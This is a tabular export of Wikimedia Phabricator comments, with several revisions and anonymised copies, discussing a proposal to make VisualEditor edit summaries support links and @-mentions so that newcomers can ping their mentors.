- https://hashtags.wmcloud.org/",Lowest,10.0,1374996120,,PHID-USER-imut7wxehhy35ukuzaks,False,,False,PHID-TASK-imjhsazltcwrba7knjzi,task_description,open,True,c1,3,False,False,,3,,0.2,0.2,0.0,1.6,0.0,5.4,1.0,0.2,0.0,0.8,1.8,0.0,0.0,0.0,0.0,0.2,1.0,2.8,9.0,0.2,1.2,0.6,0.0,0.0,0.4,0.2,0.0,0.0,0.4,1.4,0.8,2.6,1.6,0.4,1.2,0.0,0.0,0.0,0.2,0.2,0.0,1.2,0.2,1.2,0.2,0.8,0.0,0.2,0.0,17.8,0.2,0.4,0.0,1.4,0.0,0.0,0.0,0.0,0.2,0.2,0.2,0.6,0.0,0.2,0.0,0.2,0.2,4.2,3.2,4.6,1.2,0.8,5.2,0.0,0.0,0.0,0.0,4.2,0.0,0.4,0.0,2.4,9.0,3.2,0.0,1.0,0.0,2.4,0.0,0.6,1.0,0.6,2.2,2.0,0.0,1.0,4.194598765432099,0.7208024691358024,"Links are frequently placed in edit summaries but the user is currently perversely required to revert to wikicode to insert them.  The VisEd menu should be available for the edit summary and the text should be displayed as it will be seen.  Wysiwyg should apply to all elements of the edit summary (eg, the recently added section title is displayed as code rather than the grey italics as it will be seen).

=== Potential use cases/impacts/hypotheses 
- **[potential impact]**: if people publishing edits write more expressive edit summaries, these edit summaries will be compelling/interesting to people whose primarily relationship to Wikipedia is as as a reader
-- //See more in {T379405}
- **[potential use case]**: enable people to relate edits to the events/campaigns that inspired them to make them (T373232)
-- //InspiredSCREEN_NAME-WMF andSCREEN_NAME...//
- **[hypothesis]** If people have an easier time doing things like mentioning other people, inserting links, and formatting text within the edit summary input, they will invest more effort into writing edit summaries.
- **[potential impact]** If people write more descriptive edit summaries, then machine learning models will become more effecting at learning from the actions volunteers are taking because these models will have to make fewer inferences/assumptions about the semantic meaning of a change/changes someone is making. //This thought is inspired by the conversation we (the Editing Team) had withSCREEN_NAME on 27 July 2022.//
- **[potential impact]** If people write more descriptive edit summaries, then people visiting an article's ""page history""  will have an easier time: A) understanding how the article they are interested in evolved over time and B) identifying changes they are curious to learn more about
-- this could also open up the potential for edits/diffs being presented as small, standalone pieces of information people could ""consume"" 

=== Related
- T123529
- T323875
- URL"
1522753,VisualEditor: Make the edit summary a mini-VE surface so users can put in links etc.,">>! In T54174#6178473, @MMiller_WMF wrote:
> @ppelberg -- thanks for thinking about this.  We have the idea for ""notify your mentor"" as part of the longer term of suggested edits.  [[https://commons.wikimedia.org/wiki/File:Prototype_of_confirmation_desktop_guidance_for_suggested_edits_2020-01-16.png | Here's a mockup ]], and shown below.
Assuming people are ""feeling good"" after having successfully completed an edit, it seems like a good idea to provide them with an opportunity to ""shop"" for more edits to make so they can keep that flow going.

> But maybe it would make sense to combine that into one step, which would reduce how many ""posts"" happen after an edit is completed, and streamline the workflow for the user.
This is what I had in mind. Additionally, I wonder if guiding the mentee to notify their mentor by way of edit summaries could have the following effects:
- Other experienced editors will act more conscientiously towards newcomers, and their edits, if newcomers' intentions are more legible them.
-- //Here, I'm assuming the interaction the ""Notify mentor"" workflow would facilitate would be less visible to experienced contributors than if the communication happened through edit summaries.//
- Mentors will appreciate newcomers interacting with them via the tools/workflows they're used to
- Newcomers will learn a skill that is likely to benefit outside the context of Newcomer tasks.

I also wonder whether it's more consistent with how other, more experienced editors behave, to introduce this piece of communication (read: Edit summaries) as being //a part of the edit process// as opposed to something that happens after the fact. //This is a thought I'd like to develop more.// 

>It sounds like you're saying that it would be better if they could use the `@` symbol and autocomplete with usernames.  Perhaps that would be useful beyond just newcomers.
Exactly (to both points).

> But all this said, I think that if we're going to encourage newcomers to ping their mentors in the edit summary (or elsewhere), we wouldn't have them type out their mentor's name, even with autocomplete.  The system would know their mentors name and take care of that part for them.  Although, the argument I see for having the newcomer type their mentor's name is that they would learn how to ping in edit summaries.  What do you think?
I think it would be fine to automatically insert the mentor's handle into the newcomers' edit summary //so long as// newcomers can see the ping and have it appears as such: [@Marshall](https://meta.wikimedia.org/wiki/User:MMiller_(WMF)).

Reason:
- I think newcomers will intuitively understand/recognize the presence of  [@USERNAME](https://meta.wikimedia.org/wiki/User:MMiller_(WMF)) to mean: [i]
-- A) @USERNAME is going to get a notification
-- B) To notify someone next time, I bet I can just type {key @} and the rest will work like it does on other platforms. 


---
i. The above is informed, in part, by the latest round of user tests we ran where we found most test participants intuitively understood typing {key @} to tag/ping/mention someone else. //See ""@-mentioning a user not in the conversation"" in T246190#6186156 //",,,1591841391,,PHID-USER-7x5ai23ne5qampjf3g7r,False,,,PHID-TASK-imjhsazltcwrba7knjzi,task_subcomment,,True,c1,3,True,,,362,,0.0,0.6,0.0,0.2,0.2,4.0,1.0,0.0,0.0,0.6,1.6,1.0,0.0,0.0,0.0,2.6,0.2,4.4,11.2,0.6,2.2,0.0,0.0,0.0,1.2,0.0,0.0,0.4,0.8,1.8,0.4,4.8,2.8,1.0,0.4,0.0,0.4,0.0,0.4,0.0,0.0,1.4,0.0,1.4,0.0,0.4,0.0,0.2,0.0,14.0,0.4,0.4,0.0,1.4,0.0,0.0,0.0,0.2,0.4,0.0,0.2,0.4,0.2,1.0,0.0,0.2,0.0,5.0,2.0,6.2,1.4,0.6,5.8,0.0,0.0,0.0,0.0,5.0,0.2,0.4,0.0,4.8,11.2,2.0,0.0,2.0,1.2,4.8,0.0,1.0,1.4,0.6,1.8,1.2,0.4,1.2,4.169660493827161,0.7723456790123457,"QUOTE
QUOTE
Assuming people are ""feeling good"" after having successfully completed an edit, it seems like a good idea to provide them with an opportunity to ""shop"" for more edits to make so they can keep that flow going.

QUOTE
This is what I had in mind. Additionally, I wonder if guiding the mentee to notify their mentor by way of edit summaries could have the following effects:
- Other experienced editors will act more conscientiously towards newcomers, and their edits, if newcomers' intentions are more legible them.
-- //Here, I'm assuming the interaction the ""Notify mentor"" workflow would facilitate would be less visible to experienced contributors than if the communication happened through edit summaries.//
- Mentors will appreciate newcomers interacting with them via the tools/workflows they're used to
- Newcomers will learn a skill that is likely to benefit outside the context of Newcomer tasks.

I also wonder whether it's more consistent with how other, more experienced editors behave, to introduce this piece of communication (read: Edit summaries) as being //a part of the edit process// as opposed to something that happens after the fact. //This is a thought I'd like to develop more.// 

QUOTE
Exactly (to both points).

QUOTE
I think it would be fine to automatically insert the mentor's handle into the newcomers' edit summary //so long as// newcomers can see the ping and have it appears as such: [@Marshall](URL

Reason:
- I think newcomers will intuitively understand/recognize the presence of  [@USERNAME](URL to mean: [i]
-- A)SCREEN_NAME is going to get a notification
-- B) To notify someone next time, I bet I can just type {key @} and the rest will work like it does on other platforms. 


---
i. The above is informed, in part, by the latest round of user tests we ran where we found most test participants intuitively understood typing {key @} to tag/ping/mention someone else. //See ""@-mentioning a user not in the conversation"" in T246190#6186156 //"
1522752,VisualEditor: Make the edit summary a mini-VE surface so users can put in links etc.,">>! In T54174#6178473, @MMiller_WMF wrote:
> @ppelberg -- thanks for thinking about this.  We have the idea for ""notify your mentor"" as part of the longer term of suggested edits.  [[https://commons.wikimedia.org/wiki/File:Prototype_of_confirmation_desktop_guidance_for_suggested_edits_2020-01-16.png | Here's a mockup ]], and shown below.
Assuming people are ""feeling good"" after having successfully completed an edit, it seems like a good idea to provide them with an opportunity to ""shop"" for more edits to make so they can keep that flow going.

> But maybe it would make sense to combine that into one step, which would reduce how many ""posts"" happen after an edit is completed, and streamline the workflow for the user.
This is what I had in mind. Additionally, I wonder if guiding the mentee to notify their mentor by way of edit summaries could have the following effects:
- Other experienced editors will act more conscientiously towards newcomers, and their edits, if newcomers' intentions are more legible them.
-- //Here, I'm assuming the interaction the ""Notify mentor"" workflow would facilitate would be less visible to experienced contributors than if the communication happened through edit summaries.//
- Mentors will appreciate newcomers interacting with them via the tools/workflows they're used to
- Newcomers will learn a skill that is likely to benefit outside the context of Newcomer tasks.

I also wonder whether it's more consistent with how other, more experienced editors behave, to introduce this piece of communication (read: Edit summaries) as being //a part of the edit process// as opposed to something that happens after the fact. //This is a thought I'd like to develop more.// 

>It sounds like you're saying that it would be better if they could use the `@` symbol and autocomplete with usernames.  Perhaps that would be useful beyond just newcomers.
Exactly (to both points).

> But all this said, I think that if we're going to encourage newcomers to ping their mentors in the edit summary (or elsewhere), we wouldn't have them type out their mentor's name, even with autocomplete.  The system would know their mentors name and take care of that part for them.  Although, the argument I see for having the newcomer type their mentor's name is that they would learn how to ping in edit summaries.  What do you think?
I think it would be fine to automatically insert the mentor's handle into the newcomers' edit summary //so long as// newcomers can see the ping and have it appears as such: [@Marshall](https://meta.wikimedia.org/wiki/User:MMiller_(WMF)).

Reasons:
- I think newcomers will intuitively understand/recognize the presence of  [@USERNAME](https://meta.wikimedia.org/wiki/User:MMiller_(WMF)) to mean: [i]
-- A) @USERNAME is going to get a notification
-- B) To notify someone next time, I bet I can just type {key @} and the rest will work like it does on other platforms. 


---
i. The above is informed, in part, by the latest round of user tests we ran where we found most test participants intuitively understood typing {key @} to tag/ping/mention someone else. //See ""@-mentioning a user not in the conversation"" in T246190#6186156 //",,,1591841123,,PHID-USER-7x5ai23ne5qampjf3g7r,False,,,PHID-TASK-imjhsazltcwrba7knjzi,task_subcomment,,True,c1,3,True,,,362,,0.0,0.6,0.0,0.2,0.2,4.0,1.0,0.0,0.0,0.6,1.6,1.0,0.0,0.0,0.0,2.6,0.2,4.4,11.2,0.6,2.2,0.0,0.0,0.0,1.2,0.0,0.0,0.4,0.8,1.8,0.4,4.8,2.8,1.0,0.4,0.0,0.4,0.0,0.4,0.0,0.0,1.4,0.0,1.4,0.0,0.4,0.0,0.2,0.0,14.2,0.4,0.4,0.0,1.4,0.0,0.0,0.0,0.2,0.4,0.0,0.2,0.4,0.2,1.0,0.0,0.2,0.0,5.0,2.0,6.2,1.4,0.6,5.8,0.0,0.0,0.0,0.0,5.0,0.2,0.4,0.0,4.8,11.2,1.8,0.0,2.0,1.2,4.8,0.0,1.0,1.4,0.6,1.8,1.2,0.4,1.2,4.172129629629629,0.7723456790123457,"QUOTE
QUOTE
Assuming people are ""feeling good"" after having successfully completed an edit, it seems like a good idea to provide them with an opportunity to ""shop"" for more edits to make so they can keep that flow going.

QUOTE
This is what I had in mind. Additionally, I wonder if guiding the mentee to notify their mentor by way of edit summaries could have the following effects:
- Other experienced editors will act more conscientiously towards newcomers, and their edits, if newcomers' intentions are more legible them.
-- //Here, I'm assuming the interaction the ""Notify mentor"" workflow would facilitate would be less visible to experienced contributors than if the communication happened through edit summaries.//
- Mentors will appreciate newcomers interacting with them via the tools/workflows they're used to
- Newcomers will learn a skill that is likely to benefit outside the context of Newcomer tasks.

I also wonder whether it's more consistent with how other, more experienced editors behave, to introduce this piece of communication (read: Edit summaries) as being //a part of the edit process// as opposed to something that happens after the fact. //This is a thought I'd like to develop more.// 

QUOTE
Exactly (to both points).

QUOTE
I think it would be fine to automatically insert the mentor's handle into the newcomers' edit summary //so long as// newcomers can see the ping and have it appears as such: [@Marshall](URL

Reasons:
- I think newcomers will intuitively understand/recognize the presence of  [@USERNAME](URL to mean: [i]
-- A)SCREEN_NAME is going to get a notification
-- B) To notify someone next time, I bet I can just type {key @} and the rest will work like it does on other platforms. 


---
i. The above is informed, in part, by the latest round of user tests we ran where we found most test participants intuitively understood typing {key @} to tag/ping/mention someone else. //See ""@-mentioning a user not in the conversation"" in T246190#6186156 //"
1514485,VisualEditor: Make the edit summary a mini-VE surface so users can put in links etc.,"@ppelberg -- thanks for thinking about this.  We have the idea for ""notify your mentor"" as part of the longer term of suggested edits.  [[ https://commons.wikimedia.org/wiki/File:Prototype_of_confirmation_desktop_guidance_for_suggested_edits_2020-01-16.png | Here's a mockup ]], and shown below.

{F31847417}

Our thinking here was that the user would not be pinging the mentor in an actual edit summary, but rather writing them a separate notification via a dedicated workflow that would automatically ping the mentor, after having already posted a normal edit summary.

But maybe it would make sense to combine that into one step, which would reduce how many ""posts"" happen after an edit is completed, and streamline the workflow for the user.

It is currently possible to ping users in edit summaries, but only by using the traditional user page link syntax, e.g. `[[User:Cloud atlas]]`.  It sounds like you're saying that it would be better if they could use the `@` symbol and autocomplete with usernames.  Perhaps that would be useful beyond just newcomers.

But all this said, I think that if we're going to ecourage newcomers to ping their mentors in the edit summary (or elsewhere), we wouldn't have them type out their mentor's name, even with autocomplete.  The system would know their mentors name and take care of that part for them.  Although, the argument I see for having the newcomer type their mentor's name is that they would learn how to ping in edit summaries.  What do you think?

FYI @RHo ",,,1590799405,,PHID-USER-krko4robkho2pjor6klf,False,,,PHID-TASK-imjhsazltcwrba7knjzi,task_subcomment,,True,c1,3,False,,,360,,0.6666666666666666,0.0,0.0,0.3333333333333333,0.6666666666666666,3.6666666666666665,1.6666666666666667,0.0,0.3333333333333333,0.6666666666666666,2.0,1.0,0.0,0.3333333333333333,0.0,2.0,0.0,6.0,12.0,0.0,1.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.3333333333333333,0.3333333333333333,3.0,0.0,4.0,3.0,1.3333333333333333,1.3333333333333333,1.0,0.0,0.3333333333333333,0.6666666666666666,0.3333333333333333,0.0,3.0,0.0,0.6666666666666666,0.0,0.6666666666666666,0.0,0.3333333333333333,0.6666666666666666,18.0,1.0,1.3333333333333333,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.3333333333333333,6.333333333333333,2.3333333333333335,6.333333333333333,3.0,3.0,9.0,0.0,0.0,0.0,0.0,7.0,0.0,0.6666666666666666,0.0,7.333333333333333,12.0,0.6666666666666666,0.3333333333333333,1.3333333333333333,0.0,7.333333333333333,0.0,1.3333333333333333,2.0,1.0,2.6666666666666665,0.6666666666666666,0.0,0.3333333333333333,3.972508591065292,0.7079037800687286,"SCREEN_NAME -- thanks for thinking about this.  We have the idea for ""notify your mentor"" as part of the longer term of suggested edits.  [[ URL | Here's a mockup ]], and shown below.

{F31847417}

Our thinking here was that the user would not be pinging the mentor in an actual edit summary, but rather writing them a separate notification via a dedicated workflow that would automatically ping the mentor, after having already posted a normal edit summary.

But maybe it would make sense to combine that into one step, which would reduce how many ""posts"" happen after an edit is completed, and streamline the workflow for the user.

It is currently possible to ping users in edit summaries, but only by using the traditional user page link syntax, e.g. CODE.  It sounds like you're saying that it would be better if they could use the CODE symbol and autocomplete with usernames.  Perhaps that would be useful beyond just newcomers.

But all this said, I think that if we're going to ecourage newcomers to ping their mentors in the edit summary (or elsewhere), we wouldn't have them type out their mentor's name, even with autocomplete.  The system would know their mentors name and take care of that part for them.  Although, the argument I see for having the newcomer type their mentor's name is that they would learn how to ping in edit summaries.  What do you think?

FYISCREEN_NAME "
1514483,VisualEditor: Make the edit summary a mini-VE surface so users can put in links etc.,"@ppelberg -- thanks for thinking about this.  We have the idea for ""notify your mentor"" as part of the longer term of suggested edits.  [[ https://commons.wikimedia.org/wiki/File:Prototype_of_confirmation_desktop_guidance_for_suggested_edits_2020-01-16.png | Here's a mockup ]].  Our thinking here was that the user would not be pinging the mentor in an actual edit summary, but rather writing them a separate notification via a dedicated workflow that would automatically ping the mentor, after having already posted a normal edit summary.

But maybe it would make sense to combine that into one step, which would reduce how many ""posts"" happen after an edit is completed, and streamline the workflow for the user.

It is currently possible to ping users in edit summaries, but only by using the traditional user page link syntax, e.g. `[[User:Cloud atlas]]`.  It sounds like you're saying that it would be better if they could use the `@` symbol and autocomplete with usernames.  Perhaps that would be useful beyond just newcomers.

But all this said, I think that if we're going to ecourage newcomers to ping their mentors in the edit summary (or elsewhere), we wouldn't have them type out their mentor's name, even with autocomplete.  The system would know their mentors name and take care of that part for them.  Although, the argument I see for having the newcomer type their mentor's name is that they would learn how to ping in edit summaries.  What do you think?

FYI @RHo ",,,1590799352,,PHID-USER-krko4robkho2pjor6klf,False,,,PHID-TASK-imjhsazltcwrba7knjzi,task_subcomment,,True,c1,3,False,,,360,,0.6666666666666666,0.0,0.0,0.3333333333333333,0.6666666666666666,3.6666666666666665,1.6666666666666667,0.0,0.3333333333333333,0.6666666666666666,2.0,1.0,0.0,0.3333333333333333,0.0,2.0,0.0,5.666666666666667,12.333333333333334,0.0,1.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,3.0,0.0,4.0,2.6666666666666665,1.3333333333333333,1.3333333333333333,1.0,0.0,0.3333333333333333,0.6666666666666666,0.3333333333333333,0.0,3.0,0.0,0.6666666666666666,0.0,0.6666666666666666,0.0,0.3333333333333333,0.6666666666666666,18.0,1.0,1.3333333333333333,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.3333333333333333,6.333333333333333,2.3333333333333335,6.0,3.0,2.6666666666666665,9.0,0.0,0.0,0.0,0.0,7.333333333333333,0.0,0.6666666666666666,0.0,7.666666666666667,12.333333333333334,0.3333333333333333,0.3333333333333333,1.3333333333333333,0.0,7.666666666666667,0.0,1.3333333333333333,2.0,1.0,2.6666666666666665,0.6666666666666666,0.0,0.3333333333333333,3.9857782754759232,0.7101903695408734,"SCREEN_NAME -- thanks for thinking about this.  We have the idea for ""notify your mentor"" as part of the longer term of suggested edits.  [[ URL | Here's a mockup ]].  Our thinking here was that the user would not be pinging the mentor in an actual edit summary, but rather writing them a separate notification via a dedicated workflow that would automatically ping the mentor, after having already posted a normal edit summary.

But maybe it would make sense to combine that into one step, which would reduce how many ""posts"" happen after an edit is completed, and streamline the workflow for the user.

It is currently possible to ping users in edit summaries, but only by using the traditional user page link syntax, e.g. CODE.  It sounds like you're saying that it would be better if they could use the CODE symbol and autocomplete with usernames.  Perhaps that would be useful beyond just newcomers.

But all this said, I think that if we're going to ecourage newcomers to ping their mentors in the edit summary (or elsewhere), we wouldn't have them type out their mentor's name, even with autocomplete.  The system would know their mentors name and take care of that part for them.  Although, the argument I see for having the newcomer type their mentor's name is that they would learn how to ping in edit summaries.  What do you think?

FYISCREEN_NAME "
1513615,VisualEditor: Make the edit summary a mini-VE surface so users can put in links etc.,"@Esanders would resolving this task enable us to extend T232601 to edit summaries? 

I'm not suggesting we prioritize this, but the use case below occurred to me today and thought I'd ask.

---
=== Context
**Use case: newcomer seeking review from mentor**
1. Newcomer receives guidance from an experienced editor, be it via the Growth team's mentorship module or some other means [i]
2. Newcomer makes an edit per mentor's instructions
3. Newcomer wants to get the attention of their mentor, to ensure they made their edit correctly //before// someone comes along and reverts said edit
4. Newcomer types their edit summary and @-mentions their mentor in said summary

**😀 Benefits**
- Mentor gets a notification linking them to the precise edit they are being asked to review
- Newcomer avoids their edit being reverted by someone else 
- Mentor and newcomer now have a more contextual way of communicating about the process of editing through the edits themselves.

**😬 Risks**
- Easier to notify people = more noise
- People writing edit summaries could begin to tailor their summaries to individuals rather than ""other editors as a whole"" leading them to become more difficult to understand.

---

i. https://nl.wikipedia.org/wiki/Overleg_gebruiker:Jessevermeulen18

---
@MMiller_WMF cc'ing you for your awareness.",,,1590711675,,PHID-USER-7x5ai23ne5qampjf3g7r,False,,,PHID-TASK-imjhsazltcwrba7knjzi,task_subcomment,,True,c1,3,True,,,360,,0.3333333333333333,0.6666666666666666,0.0,1.0,0.3333333333333333,3.6666666666666665,0.0,0.0,0.0,0.0,0.6666666666666666,0.6666666666666666,0.0,0.0,0.0,2.0,0.6666666666666666,3.3333333333333335,9.333333333333334,0.6666666666666666,3.3333333333333335,0.0,0.0,0.0,1.6666666666666667,0.6666666666666666,0.0,0.3333333333333333,0.3333333333333333,0.6666666666666666,1.3333333333333333,3.6666666666666665,1.3333333333333333,0.3333333333333333,1.3333333333333333,0.6666666666666666,0.0,0.0,0.3333333333333333,1.6666666666666667,0.0,3.6666666666666665,0.6666666666666666,1.6666666666666667,0.3333333333333333,0.0,0.0,0.0,0.0,19.666666666666668,0.3333333333333333,0.3333333333333333,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,1.0,0.0,0.0,0.0,4.0,1.3333333333333333,6.666666666666667,0.0,2.0,5.0,0.6666666666666666,0.0,0.0,0.0,4.666666666666667,0.0,1.0,0.0,7.0,9.333333333333334,2.6666666666666665,0.3333333333333333,0.6666666666666666,0.3333333333333333,7.0,0.0,0.0,1.6666666666666667,1.6666666666666667,3.3333333333333335,1.6666666666666667,0.0,1.3333333333333333,4.121001514746503,0.7178561881849772,"SCREEN_NAME would resolving this task enable us to extend T232601 to edit summaries? 

I'm not suggesting we prioritize this, but the use case below occurred to me today and thought I'd ask.

---
=== Context
**Use case: newcomer seeking review from mentor**
1. Newcomer receives guidance from an experienced editor, be it via the Growth team's mentorship module or some other means [i]
2. Newcomer makes an edit per mentor's instructions
3. Newcomer wants to get the attention of their mentor, to ensure they made their edit correctly //before// someone comes along and reverts said edit
4. Newcomer types their edit summary and @-mentions their mentor in said summary

**😀 Benefits**
- Mentor gets a notification linking them to the precise edit they are being asked to review
- Newcomer avoids their edit being reverted by someone else 
- Mentor and newcomer now have a more contextual way of communicating about the process of editing through the edits themselves.

**😬 Risks**
- Easier to notify people = more noise
- People writing edit summaries could begin to tailor their summaries to individuals rather than ""other editors as a whole"" leading them to become more difficult to understand.

---

i. URL

---SCREEN_NAME cc'ing you for your awareness."
1513583,VisualEditor: Make the edit summary a mini-VE surface so users can put in links etc.,"@Esanders would resolving this task enable us to extend T232601 to edit summaries? 

I'm not suggesting we prioritize this, but the use case below occurred to me today and thought I'd ask.

---
=== Context
**Use case: newcomer seeking review from mentor**
1. Newcomer receives guidance from an experienced editor, be it via the Growth team's mentorship module or some other means [i]
2. Newcomer makes an edit per mentor's instructions
3. Newcomer wants to get the attention of their mentor, to ensure they made their edit correctly //before// someone comes along and reverts said edit
4. Newcomer types their edit summary and @-mentions their mentor in said summary

**😀 Benefits**
- Mentor gets a notification linking them to the precise edit they are being asked to review
- Newcomer avoids their edit being reverted by someone else 
- Mentor and newcomer now have a more contextual way of communicating about the process of editing through the edits themselves.

**😬 Risks**
- Easier to notify people = more noise
- People writing edit summaries could begin to tailor their summaries to individuals rather than ""edits as a whole"" leading them to become more difficult to understand.

---

i. https://nl.wikipedia.org/wiki/Overleg_gebruiker:Jessevermeulen18

---
@MMiller_WMF cc'ing you for your awareness.",,,1590708629,,PHID-USER-7x5ai23ne5qampjf3g7r,False,,,PHID-TASK-imjhsazltcwrba7knjzi,task_subcomment,,True,c1,3,True,,,360,,0.3333333333333333,0.6666666666666666,0.0,1.0,0.3333333333333333,3.3333333333333335,0.0,0.0,0.0,0.0,0.6666666666666666,0.6666666666666666,0.0,0.0,0.0,2.0,0.6666666666666666,3.3333333333333335,9.333333333333334,0.6666666666666666,3.3333333333333335,0.0,0.0,0.0,1.6666666666666667,0.6666666666666666,0.0,0.3333333333333333,0.3333333333333333,0.6666666666666666,1.3333333333333333,3.6666666666666665,1.3333333333333333,0.3333333333333333,1.3333333333333333,0.6666666666666666,0.0,0.0,0.3333333333333333,1.6666666666666667,0.0,3.6666666666666665,0.6666666666666666,1.6666666666666667,0.3333333333333333,0.0,0.0,0.0,0.0,19.666666666666668,0.3333333333333333,0.3333333333333333,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,1.0,0.0,0.0,0.0,4.0,1.3333333333333333,6.666666666666667,0.0,2.0,5.0,0.6666666666666666,0.0,0.0,0.0,4.666666666666667,0.0,1.0,0.0,7.0,9.333333333333334,2.6666666666666665,0.3333333333333333,0.6666666666666666,0.3333333333333333,7.0,0.0,0.0,1.6666666666666667,1.6666666666666667,3.3333333333333335,1.6666666666666667,0.0,1.3333333333333333,4.108527131782946,0.7131782945736433,"SCREEN_NAME would resolving this task enable us to extend T232601 to edit summaries? 

I'm not suggesting we prioritize this, but the use case below occurred to me today and thought I'd ask.

---
=== Context
**Use case: newcomer seeking review from mentor**
1. Newcomer receives guidance from an experienced editor, be it via the Growth team's mentorship module or some other means [i]
2. Newcomer makes an edit per mentor's instructions
3. Newcomer wants to get the attention of their mentor, to ensure they made their edit correctly //before// someone comes along and reverts said edit
4. Newcomer types their edit summary and @-mentions their mentor in said summary

**😀 Benefits**
- Mentor gets a notification linking them to the precise edit they are being asked to review
- Newcomer avoids their edit being reverted by someone else 
- Mentor and newcomer now have a more contextual way of communicating about the process of editing through the edits themselves.

**😬 Risks**
- Easier to notify people = more noise
- People writing edit summaries could begin to tailor their summaries to individuals rather than ""edits as a whole"" leading them to become more difficult to understand.

---

i. URL

---SCREEN_NAME cc'ing you for your awareness."
1513582,VisualEditor: Make the edit summary a mini-VE surface so users can put in links etc.,"@Esanders would resolving this task enable us to extend T232601 to edit summaries? 

I'm not suggesting we prioritize this, but the use case below occurred to me today and thought I'd ask.

---
=== Context
**Use case: newcomer seeking review from mentor**
1. Newcomer receives guidance from an experienced editor, be it via the Growth team's mentorship module or some other means [i]
2. Newcomer makes an edit per mentor's instructions
3. Newcomer wants to get the attention of their mentor, to ensure they made their edit correctly //before// someone comes along and reverts said edit
4. Newcomer types their edit summary and @-mentions their mentor in said summary

**😀 Benefits**
- Mentor gets a notification linking them to the precise edit they are being asked to review
- Newcomer avoids their edit being reverted by someone else 
- Mentor gets a notification linking them to the precise edit they are being asked to review
- Mentor and newcomer now have a more contextual way of communicating about the process of editing through the edits themselves.

**😬 Risks**
- Easier to notify people = more noise
- People writing edit summaries could begin to tailor their summaries to individuals rather than ""edits as a whole"" leading them to become more difficult to understand.

---

i. https://nl.wikipedia.org/wiki/Overleg_gebruiker:Jessevermeulen18

---
@MMiller_WMF cc'ing you for your awareness.",,,1590708577,,PHID-USER-7x5ai23ne5qampjf3g7r,False,,,PHID-TASK-imjhsazltcwrba7knjzi,task_subcomment,,True,c1,3,True,,,360,,0.3333333333333333,0.6666666666666666,0.0,1.6666666666666667,0.3333333333333333,3.3333333333333335,0.0,0.0,0.0,0.0,0.6666666666666666,0.6666666666666666,0.0,0.0,0.0,2.0,0.6666666666666666,3.0,9.666666666666666,0.6666666666666666,3.3333333333333335,0.0,0.0,0.0,1.6666666666666667,0.6666666666666666,0.0,0.3333333333333333,0.3333333333333333,0.6666666666666666,1.6666666666666667,4.333333333333333,1.3333333333333333,0.3333333333333333,1.3333333333333333,0.6666666666666666,0.0,0.0,0.3333333333333333,2.0,0.0,4.333333333333333,0.6666666666666666,2.0,0.3333333333333333,0.0,0.0,0.0,0.0,19.666666666666668,0.3333333333333333,0.3333333333333333,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,1.0,0.0,0.0,0.0,4.333333333333333,2.0,6.666666666666667,0.0,2.0,5.333333333333333,0.6666666666666666,0.0,0.0,0.0,5.0,0.0,1.0,0.0,7.666666666666667,9.666666666666666,3.0,0.3333333333333333,0.6666666666666666,0.3333333333333333,7.666666666666667,0.0,0.0,2.0,2.0,3.3333333333333335,1.3333333333333333,0.0,1.3333333333333333,4.119565217391305,0.6811594202898551,"SCREEN_NAME would resolving this task enable us to extend T232601 to edit summaries? 

I'm not suggesting we prioritize this, but the use case below occurred to me today and thought I'd ask.

---
=== Context
**Use case: newcomer seeking review from mentor**
1. Newcomer receives guidance from an experienced editor, be it via the Growth team's mentorship module or some other means [i]
2. Newcomer makes an edit per mentor's instructions
3. Newcomer wants to get the attention of their mentor, to ensure they made their edit correctly //before// someone comes along and reverts said edit
4. Newcomer types their edit summary and @-mentions their mentor in said summary

**😀 Benefits**
- Mentor gets a notification linking them to the precise edit they are being asked to review
- Newcomer avoids their edit being reverted by someone else 
- Mentor gets a notification linking them to the precise edit they are being asked to review
- Mentor and newcomer now have a more contextual way of communicating about the process of editing through the edits themselves.

**😬 Risks**
- Easier to notify people = more noise
- People writing edit summaries could begin to tailor their summaries to individuals rather than ""edits as a whole"" leading them to become more difficult to understand.

---

i. URL

---SCREEN_NAME cc'ing you for your awareness."
1513579,VisualEditor: Make the edit summary a mini-VE surface so users can put in links etc.,"@Esanders would resolving this task enable us to extend T232601 to edit summaries? 

I'm not suggesting we prioritize this, but the use case below occurred to me today and thought I'd ask.

---
=== Context
**Use case: newcomer seeking review from mentor**
1. Newcomer receives guidance from an experienced editor, be it via the Growth team's mentorship module or some other means [i]
2. Newcomer makes an edit per mentor's instructions
3. Newcomer wants to get the attention of their mentor, to ensure they made their edit correctly //before// someone comes along and reverts said edit
4. Newcomer types their edit summary and @-mentions their mentor in said summary

**😀 Benefits**
- Mentor gets a notification linking them to the precise edit they are being asked to review
- Newcomer avoids their edit being reverted by someone else 
- Mentor gets a notification linking them to the precise edit they are being asked to review
- Mentor and newcomer now have a more contextual way of communicating about the process of editing through the edits themselves.

---

i. https://nl.wikipedia.org/wiki/Overleg_gebruiker:Jessevermeulen18

---
